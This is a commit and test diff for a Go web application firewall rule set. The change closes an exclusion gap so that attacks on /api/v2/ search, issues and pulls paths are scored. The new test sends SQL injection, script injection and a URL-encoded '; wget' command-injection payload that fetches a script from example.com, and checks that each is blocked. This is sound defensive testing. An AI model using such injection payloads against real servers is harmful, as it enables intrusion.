Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266)

Rule 900600 took paths of an owner named api for gitea's search, issues,
pull requests and commit search inside a repository. /api/v2/search,
Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so
attacks in q scored 0 there. gitea has no owner named api, so a chained
condition now leaves out each of those paths under /api/<x>/. Go's regular
expressions have no lookahead, so the exclusion cannot be written inside
the pattern.

Model: opus-5-5

internal/coreruleset/coreruleset_test.go

@@ -674,6 +674,25 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
 			}
 		}
 	}
+
+	// gitea has no owner named api, so these are not a repository's search,
+	// issues or pull requests. /api/v2/search is Mastodon's search.
+	for _, path := range []string{
+		"/api/v2/search",
+		"/api/v2/issues",
+		"/api/v2/pulls",
+	} {
+		for _, attack := range []string{
+			sqlInjection,
+			scriptInjection,
+			"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
+		} {
+			target := path + "?q=" + attack
+			if got := inspect(t, crs, get(target)); got.Score < threshold {
+				t.Errorf("%s let through: %+v", target, got)
+			}
+		}
+	}
 }
 
 // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the